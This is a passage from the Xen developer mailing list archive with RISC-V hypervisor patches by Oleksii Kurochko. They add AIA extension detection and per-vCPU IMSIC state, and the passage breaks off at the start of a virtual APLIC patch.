availability of the extension) to true; it also signifies that the necessary
components (to be introduced in follow-up patches) have been initialized.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Update the guards in asm/aia.h according to CODING_STYLE:
   s/ASM__RISCV__AIA_H/RISCV_AIA_H.
---
Changes in v4:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3:
 - s/is_aia_usable/_aia_usable to drop the is_ prefix while avoiding
   conflict with the aia_usable() function name.
---
Changes in v2:
 - s/is_aia_available/is_aia_usable.
 - Drop return value for aia_init().
 - s/aia_available()/aia_usable().
---
---
 xen/arch/riscv/Makefile          |  1 +
 xen/arch/riscv/aia.c             | 23 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/aia.h | 10 ++++++++++
 xen/arch/riscv/intc.c            |  3 +++
 4 files changed, 37 insertions(+)
 create mode 100644 xen/arch/riscv/aia.c
 create mode 100644 xen/arch/riscv/include/asm/aia.h

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index fd5e499eb4b9..9df8b72b5494 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -1,3 +1,4 @@
+obj-y += aia.o
 obj-y += aplic.o
 obj-y += cpufeature.o
 obj-y += domain.o
diff --git a/xen/arch/riscv/aia.c b/xen/arch/riscv/aia.c
new file mode 100644
index 000000000000..e31c9c2d24b6
--- /dev/null
+++ b/xen/arch/riscv/aia.c
@@ -0,0 +1,23 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#include <xen/errno.h>
+#include <xen/init.h>
+#include <xen/sections.h>
+#include <xen/types.h>
+
+#include <asm/cpufeature.h>
+
+static bool __ro_after_init _aia_usable;
+
+bool aia_usable(void)
+{
+    return _aia_usable;
+}
+
+void __init aia_init(void)
+{
+    if ( !riscv_isa_extension_available(NULL, RISCV_ISA_EXT_ssaia) )
+        return;
+
+    _aia_usable = true;
+}
diff --git a/xen/arch/riscv/include/asm/aia.h b/xen/arch/riscv/include/asm/aia.h
new file mode 100644
index 000000000000..aaa4bf91fc75
--- /dev/null
+++ b/xen/arch/riscv/include/asm/aia.h
@@ -0,0 +1,10 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef RISCV_AIA_H
+#define RISCV_AIA_H
+
+bool aia_usable(void);
+
+void aia_init(void);
+
+#endif /* RISCV_AIA_H */
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index e63da5e22efc..2864a896b677 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -9,6 +9,7 @@
 #include <xen/lib.h>
 #include <xen/spinlock.h>
 
+#include <asm/aia.h>
 #include <asm/intc.h>
 
 static const struct intc_hw_operations *__ro_after_init intc_hw_ops;
@@ -33,6 +34,8 @@ void __init intc_init(void)
 {
     ASSERT(intc_hw_init_ops && intc_hw_init_ops->init);
 
+    aia_init();
+
     if ( intc_hw_init_ops->init() )
         panic("Failed to initialize the interrupt controller drivers\n");
 }
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366966.1616847 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ5-0007nV-ED; Mon, 20 Jul 2026 16:00:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366966.1616847; Mon, 20 Jul 2026 16:00:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ4-0007lj-UT; Mon, 20 Jul 2026 16:00:40 +0000
Received: by outflank-mailman (input) for mailman id 1366966;
 Mon, 20 Jul 2026 16:00:39 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQ2-0007Kc-Vu
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQ2-00AdIU-Cr
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:38 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4615-5cb7-0a2a0a5109dd-0a2a4501a09c-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:38 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4626-5984-0a2a45010019-d155dd2db476-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:38 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-476d8e647e9so9386703f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:38 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.35
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563238; x=1785168038; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Nt+NrnSnYUFOVhjqk40/HqYFF4+MZAvheFHPqYsSxEw=;
        b=C8fFM7xShaB+BSJ4rhxBsU2SqDL3TYZPmvZ0zXikqJBbIfSg6WbN1LBROKz+rR+wHt
         gv/UFLFj04bt0nKqotCWUR6+y+PW2bAK6GYYi3JXHWmOoW9bkbFZIwQXriA2ZXaYUIiV
         dpTU4IzEOfAfEqTdIAisgBQmcgKK6pwOR0y4IOeeKabT4lXHCxUt0/Fh0yrQQ5a/rxIT
         z2otW3FY4IvAVnCaYo+vP5PGZhcECuV1H4crY5uGrX5eQHHo1VXhfuXxYz4wNUNJZ1AH
         0ipqT6zjVC6xS5snEaWFHkag47krYapFTrf9yytDe/FAhODWSVY2YCJBPs6FMZiJjwsZ
         NNwg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563238; x=1785168038;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=Nt+NrnSnYUFOVhjqk40/HqYFF4+MZAvheFHPqYsSxEw=;
        b=BV/arIAYhSMHppjYSJUsvvBGyqZ+wPuJb4cnXp7EsUHfK7727/dl72UsKnTw6hNKxc
         cJ4gN0wPWZDqcLFbZHLrJ/PuEYZ1hP7JyJ96U4qKziYn0tWkCcSnHWSPu5JF+Ys30tP+
         vzLJwhlpC8nE2wlVGcA7S27kcmmVreJ/ExPDvNcNUXrnBNgviWL1T/k+7jtbXxS8SC6b
         eYObiK7HMH5yaVPZIGFTKILmdsceJhQC+MT3MgbamY6GF407yAREYAizPkj+yst1FCq8
         2NfeL7eJIUYr7jkko733ijccVzl1VX+DExo9sqP9CTZ9SlaLtz0bEKn1/u/anSblM0zi
         S2bg==
X-Gm-Message-State: AOJu0YxqECQbWLPZqmyOt4H3gYenCGU/MYU7bbrFGcuNFOK8W7XuGWdT
	USnx059qD/44FpG3zeRHKsr3S1mA+vn9hdqtANCyKiyg9xkWoqjg9DpTvhQ1PA==
X-Gm-Gg: AR+sD10s9Gy977LDzuAErgg1gxs/SdUTbKyUZPagRTNTzHTbF+XnhB35xVHYo+v3hwx
	jvENxQCUfcurrnDcGSof9feiETWlZUJvEhutWlUGbHbWCL21j8PsvB8N89jE2EDbZjwv00PEL6v
	JoEe0Qd12/gASTQ8vW4j/rIJ8ECxmKHtCm0Ak1NV1p9JFIAr3p6GN+UItUN8syOZkPpCnqZRiKl
	dKgo0JoZxqlG2UoNYlSlRmL+Xn/+hqvXuDpv0jvYd9HlP4uC7lZZZG2MOklqNCQORWO5nWKB1ds
	ZcvzknjpSZ3rsy4UXJqIhlVuX2C8aIk56ru8S2afG9gobc1AmWGSXOW2U6OeMVB4jZHlV6pjjB3
	om0rmHV7amqEob0dP9/3oea3UURP7avvd1xUF/s0Q4Hvr0npTqo9Y41YP6ApCo7yPRkLOsM5nWV
	oUv9Nn6WHbZ06lRq+JjJGBNVdrxOXXGazJ9EQKKv/nqDBK5gd4CvYXioGWgQ==
X-Received: by 2002:a05:6000:26c5:b0:47f:73d3:bfc6 with SMTP id ffacd0b85a97d-47f73d3c168mr8281995f8f.46.1784563237647;
        Mon, 20 Jul 2026 09:00:37 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 13/23] xen/riscv: introduce per-vCPU IMSIC state
Date: Mon, 20 Jul 2026 17:59:54 +0200
Message-ID: <6bbe9231eed3b1c1e233828e6658940eb0bec749.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784563238-1F063757-5D133E5A/10/73395122804
X-purgate-type: spam
X-purgate-size: 6433

Each vCPU interacting with the IMSIC requires state to track the
associated guest interrupt file and its backing context.

Introduce a per-vCPU structure to hold IMSIC-related state, including
the guest interrupt file identifier and the CPU providing the backing
VS-file. Access to the guest file identifier is protected by a lock.

Initialize this structure during vCPU setup and store it in arch_vcpu.
The initial state marks the VS-file as software-backed until it becomes
associated with a physical CPU.

Add helper to retrieve the guest interrupt file identifier:
- vcpu_guest_file_id() is going to be used during update of APLIC's
  target register with the pair of information <guest_file_id, cpu_id>
  (to have MSI delivery mode work properly) when guest is trying to
  access vAPLIC's target register.
It will be used in the follow up patches.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Move v->arch.vimsic_state = imsic_state; after full initialization of
   the struct, so the pointer only becomes globally visible once all
   fields are set up.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v4:
-  s/w vs h/w IMSIC VS-file commentary for struct vimsic_state:
   - fix the vsfile_pcpu h/w condition:
     "vsfile_pcpu >= 0" -> "vsfile_pcpu < NR_CPUS"
     (the old wording conflicted with the s/w "== NR_CPUS" case).
   - reorder both comment blocks to the "s/w ... / h/w ..." form for readability.
 - drop IMPOSSIBLE_GUEST_FILE_ID: the s/w IMSIC VS-file is always available
   and corresponds to guest_file_id == 0, which xvzalloc() already provides,
   so the explicit initializer in vcpu_imsic_init() and the macro itself
   are unneeded.
---
Changes in v3:
 - Drop const from imsic_set_guest_file_id() and vcpu_imsic_deinit() as
   it only works due to vimsic_state being a pointer member.
 - Use XVFREE() in vcpu_imsic_deinit() to make it idempotent.
 - Fix SW-file typo in struct vimsic_state comments; should be VS-file.
 - Drop imsic_set_guest_file_id() here, it will be added later when it
   will be nessary to initialise guest file id as the correspondendt code
   in this patch series was reworked and there is no need to use this
   function in arch_vcpu_create().
 - Introduce IMPOSSIBLE_GUEST_FILE_ID and init with it ->guest_file_id.
---
Changes in v2:
 - Rename imsic_state to vimsic_state.
 - Use 'unsigned int' for vsfile_pcpu.
 - Drop initialzation of ->guest_file_id as it will be by default zero.
 - Add the comment about ->guest_file_id field.
 - Drop __init for vcpu_imsic_init() as it could be used during post-boot
   vCPU creation.
 - Update the commit message.
 - Drop locks around ->guest_file_id() in  vcpu_guest_file_id() and imsic_set_guest_file_id().
---
---
 xen/arch/riscv/imsic.c              | 35 +++++++++++++++++++++++++++++
 xen/arch/riscv/include/asm/domain.h |  2 ++
 xen/arch/riscv/include/asm/imsic.h  | 22 ++++++++++++++++++
 3 files changed, 59 insertions(+)

diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
index f7b70a8da09e..5a5758e45dc2 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -16,6 +16,7 @@
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/macros.h>
+#include <xen/sched.h>
 #include <xen/smp.h>
 #include <xen/spinlock.h>
 #include <xen/xvmalloc.h>
@@ -56,6 +57,11 @@ do {                            \
     csr_clear(CSR_SIREG, v);    \
 } while (0)
 
+unsigned int vcpu_guest_file_id(const struct vcpu *v)
+{
+    return ACCESS_ONCE(v->arch.vimsic_state->guest_file_id);
+}
+
 void __init imsic_ids_local_delivery(bool enable)
 {
     if ( enable )
@@ -312,6 +318,35 @@ static int imsic_parse_node(const struct dt_device_node *node,
     return 0;
 }
 
+int vcpu_imsic_init(struct vcpu *v)
+{
+    struct vimsic_state *imsic_state;
+
+    /* Allocate IMSIC context */
+    imsic_state = xvzalloc(struct vimsic_state);
+    if ( !imsic_state )
+        return -ENOMEM;
+
+    /* Setup IMSIC context  */
+    rwlock_init(&imsic_state->vsfile_lock);
+
+    /*
+     * xvzalloc() already cleared the context, so guest_file_id == 0, i.e. the
+     * always-available s/w IMSIC VS-file. Only vsfile_pcpu needs an explicit
+     * initializer as its s/w VS-file value is NR_CPUS rather than 0.
+     */
+    imsic_state->vsfile_pcpu = NR_CPUS;
+
+    v->arch.vimsic_state = imsic_state;
+
+    return 0;
+}
+
+void vcpu_imsic_deinit(struct vcpu *v)
+{
+    XVFREE(v->arch.vimsic_state);
+}
+
 /*
  * Initialize the imsic_cfg structure based on the IMSIC DT node.
  *
diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index bd43ed08c22c..e035b33ddfdc 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -54,6 +54,8 @@ struct arch_vcpu {
 
     struct vtimer vtimer;
 
+    struct vimsic_state *vimsic_state;
+
     register_t hcounteren;
     register_t hedeleg;
     register_t hideleg;
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index c6c59215df20..e2c413487d24 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -11,6 +11,7 @@
 #ifndef ASM_RISCV_IMSIC_H
 #define ASM_RISCV_IMSIC_H
 
+#include <xen/rwlock.h>
 #include <xen/spinlock.h>
 #include <xen/stdbool.h>
 #include <xen/types.h>
@@ -61,7 +62,24 @@ struct imsic_config {
     spinlock_t lock;
 };
 
+struct vimsic_state {
+    /* IMSIC VS-file */
+    rwlock_t vsfile_lock;
+    /*
+     * s/w IMSIC VS-file -> guest_file_id == 0
+     * h/w IMSIC VS-file -> guest_file_id > 0
+     */
+    unsigned int guest_file_id;
+    /*
+     * s/w IMSIC VS-file -> vsfile_pcpu == NR_CPUS
+     * h/w IMSIC VS-file -> vsfile_pcpu < NR_CPUS
+     */
+    unsigned int vsfile_pcpu;
+};
+
 struct dt_device_node;
+struct vcpu;
+
 int imsic_init(const struct dt_device_node *node);
 
 const struct imsic_config *imsic_get_config(void);
@@ -71,4 +89,8 @@ void imsic_irq_disable(unsigned int hwirq);
 
 void imsic_ids_local_delivery(bool enable);
 
+int vcpu_imsic_init(struct vcpu *v);
+void vcpu_imsic_deinit(struct vcpu *v);
+unsigned int vcpu_guest_file_id(const struct vcpu *v);
+
 #endif /* ASM_RISCV_IMSIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366972.1616851 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ6-0007sS-1i; Mon, 20 Jul 2026 16:00:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366972.1616851; Mon, 20 Jul 2026 16:00:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ5-0007qk-Ia; Mon, 20 Jul 2026 16:00:41 +0000
Received: by outflank-mailman (input) for mailman id 1366972;
 Mon, 20 Jul 2026 16:00:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQ4-0007fX-FV
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQ3-00CGik-SJ
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:39 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4610-bab6-0a2a0a5309dd-0a2a4504d308-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:39 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4627-b57f-0a2a45040019-d155dd30edb9-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:39 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so6479433f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:39 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563239; x=1785168039; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=SRI8/DhJqHkfjtaOZ5/QBIWxP9MG6J3k2xsPuJ3HNgc=;
        b=szeYuEgwK5CZ/ava9190sMy/dAUSa/MkTdMbeDfaAyZ24CY09lbWD8mIY4PriqXDb1
         bpmsyYteqGhIOknNOGHMvHqbFhZ3PHDJ/HKQXrkRwhah7RAtsoUSZppeSQxcogbpVbAM
         M0vJSl/MbZvmW2f6kbntCqgJUykHdipi5Bzca6Z2kzMp7LGtGoiYcl7Eh0bLcoIdpuyN
         Qt4apDmqJW7VX0w/nZDcB3vWBpovSuvp3qdLMTKkZYvnolvXQL0VZtqAl/b+5FmGcuoj
         Wsr/1fIe5exd2NSln+k4s7Pd8Hy8dLye6e+zTuffVqg2fmliDpcF1HfysojHPkoTXSL4
         E0GA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563239; x=1785168039;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=SRI8/DhJqHkfjtaOZ5/QBIWxP9MG6J3k2xsPuJ3HNgc=;
        b=fvzYzvh0rK5CbLiJX7ia0rdCXmcvIwiqFI4zbvjoRMzFMSYeL9LsH+b+K7vfdLASQ4
         kyvXaeDlY8AFUfCGKwLyDPcu2gNawzYcA9858Pg9Rkgmp3RSZ90mtVNU0HuDwMyqGGej
         I4EQCaY+565WkbBXd14EkQkm1gxLtL3f8ol3frg7WsDlM1pIdotrKRFdl6Y1FG9NokvB
         JaP8RDguuPWAKUSJuBSyb8GmYDOYfxIaTT8qTlDFNZD/+bOfKVJx+to13ajXXn9sd14N
         eefat7XSf3ZKmzQtAbWgoZyOgPt9wGu+zWpO+ZhFtDYfO7NWA5wXBsY64yHf4ttadV/w
         gVcg==
X-Gm-Message-State: AOJu0YwHXIGO3xi7mwHBk/oIv/1B2Rcebw7lK/iOtTHmh+ng6sBW37mi
	nsNu/L1ig+2qZuDouKV+EiAqwQB4/WgNhVAbyTYnLv/NvDI5J6mNgPFWlsXriw==
X-Gm-Gg: AR+sD12qotipgrIo2PYekrctP+vmZTthPpLVkDo8UAfGJSTiFbXz6svpcMLb23DdWpf
	CYuVNK2XeAf/7QrDyKXpQZj0kqA8oHW4i+q1iqMY//H1u1FKwzCCQnQ9rIdzBO3zTZqirFK14wH
	MlolrGVUtqO5HqfXm4NWiGp5c+7Aw53YITcSvtXHLm5pYeTOp7LB61MZix+btcrATLOUADkDPbd
	TG4askqAXd8dAZ5VvcGy6joBOOG5XHtYHUUI0BuZhPHuvDmGJJraFU5uKyIJDBs8FgAunAgBm6V
	2dOcx3OWoYZ5EyhdYpWy5O4i1KBpqEUNsqngnac7niwPz5maktMtjxeKkL560t+PZ/PXo23BNHC
	qWhWz2vK13LL77hhAHGit0Dkc3W4fpp99pTrhLGetcDWq3HORbLfAaAY45zsxtW0Ae3MIUiqVru
	4wpXQHrW7ZSZ4KMeFHFN0XEvjLFr0dFy3GODMSuYMnELDLjoo=
X-Received: by 2002:a05:6000:2dc5:b0:47f:73dc:c5aa with SMTP id ffacd0b85a97d-47f73dcc5d1mr6702810f8f.30.1784563239041;
        Mon, 20 Jul 2026 09:00:39 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 14/23] xen/riscv: introduce minimal virtual APLIC (vAPLIC) infrastructure
Date: Mon, 20 Jul 2026 17:59:55 +0200
Message-ID: <98bcad12ca4e5ee270cc1ef9db09d89a32f863f8.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784563239-C1CD7B50-FD7351B0/10/73395122804
X-purgate-type: spam
X-purgate-size: 9390

At the current development stage, only domain vINTC init and deinit
operations are required, so implement those first.

Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
MSI delivery mode selected as the current solution is exepcted to have
always IMSIC, and initialize vintc->ops.

Other operations such as emulate_load(), emulate_store(), and is_access()
will be needed once guests are running and MMIO accesses to APLIC MMIO
range must be handled. These will be introduced separately later.

Introduce a structure to describe a virtual interrupt controller (vINTC)
and a vintc_ops structure, which provides operations to emulate load and
store accesses to interrupt controller MMIOs and to check whether a given
address falls within the MMIO range of a specific virtual interrupt
controller.
Note that already existed init_ops field in struct vintc will be init-ed
for APLIC in the follow up patch.

The vAPLIC implementation of these operations will be provided later
once guests can be run and these operations are actually needed.

Introduce these structures here as they are required for the implementation
of domain_vaplic_init() and domain_vaplic_alloc(). Also, introduce
vaplic_init() and init vintc_ops->vcpu_init() with it.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - Add explanational comments for fields in struct vintc.
 - Drop unnessary empty line in asm/aplic.h.
 - Update the commit message to tell that init_ops will be init-ed later
   in follow up patch.
 - Init. .domaincfg with only APLIC_DOMAINCFG_RO.
 - Update the comment above APLIC_DOMAINCFG_RO.
 - Add defintion for APLIC_DOMAINCFG_BE.
---
Changes in v4:
 - Change subject of the commit.
 - s/APLIC_DOMAINCFG_RO80/APLIC_DOMAINCFG_RO + added a comment above definition.
 - Drop unnessary blank lines.
---
Changes in v3:
 - Drop ASSERT() before vintc->ops->vcpu_init() in arch_vcpu_create(); a
   NULL deref already produces a sufficient backtrace.
 - Parenthesize macro argument in to_vaplic().
 - Drop __init from domain_vaplic_init() and domain_vaplic_deinit() since
   the caller domain_vintc_init() (follow-up patch) is not __init.
 - Remove pointless zero-initializer for rc in vcpu_vaplic_init().
 - Fix domain_vaplic_deinit() to null d->arch.vintc before freeing, making
   the function idempotent.
 - Drop intc_irq_nums(), (*nr_irqs)(void) hook from intc_hw_operations,
   aplic_nr_irqs(), and vintc->nr_irqs field entirely.
 - Rename vcpu_vaplic_init() to vaplic_init() and drop vgein_assign() and
   imsic_set_guest_file_id() calls; those will be introduced/called later,
   where for sure we will know on which pCPU vCPU as it is required for
   proper h/w IMSIC interrupt file calculation, to have this initialization
   in one place.
 - Introduce vaplic_deinit().
---
Changes in v2:
 - s/vcpu/v for function arguments in struct vintc_ops().
 - Update the comment above is_access() and drop const for addr argument.
 - Update to_vaplic() to work with 'struct domain *'.
 - Drop smsiaddrcfg{h} from vaplic_regs struct as they aren't used for now.
 - Drop inclusion of xen/schec.h from intc.c.
 - use result of xvzalloc() as initializer in vpalic_alloc().
 - Drop goto in domain_vaplic_init().
 - s/XVFREE/xvfree.
 - s/aplic/vintc.
 - Drop __init for vcpu_vaplic_init() as it could be called for secondary CPU bring up.
 - Drop vaplic_alloc().
 - Drop vintc_ops struct, embed callbacks iniside struct vintc.
 - Introduce and init vintc irqs for vAPLIC.
 - Introduce intc_irq_nums() to properly initialize number of vAPLIC's irqs.
---
---
 xen/arch/riscv/Makefile             |  1 +
 xen/arch/riscv/domain.c             | 11 ++---
 xen/arch/riscv/include/asm/aplic.h  |  7 ++++
 xen/arch/riscv/include/asm/intc.h   | 12 ++++++
 xen/arch/riscv/include/asm/vaplic.h | 34 ++++++++++++++++
 xen/arch/riscv/vaplic.c             | 62 +++++++++++++++++++++++++++++
 6 files changed, 119 insertions(+), 8 deletions(-)
 create mode 100644 xen/arch/riscv/include/asm/vaplic.h
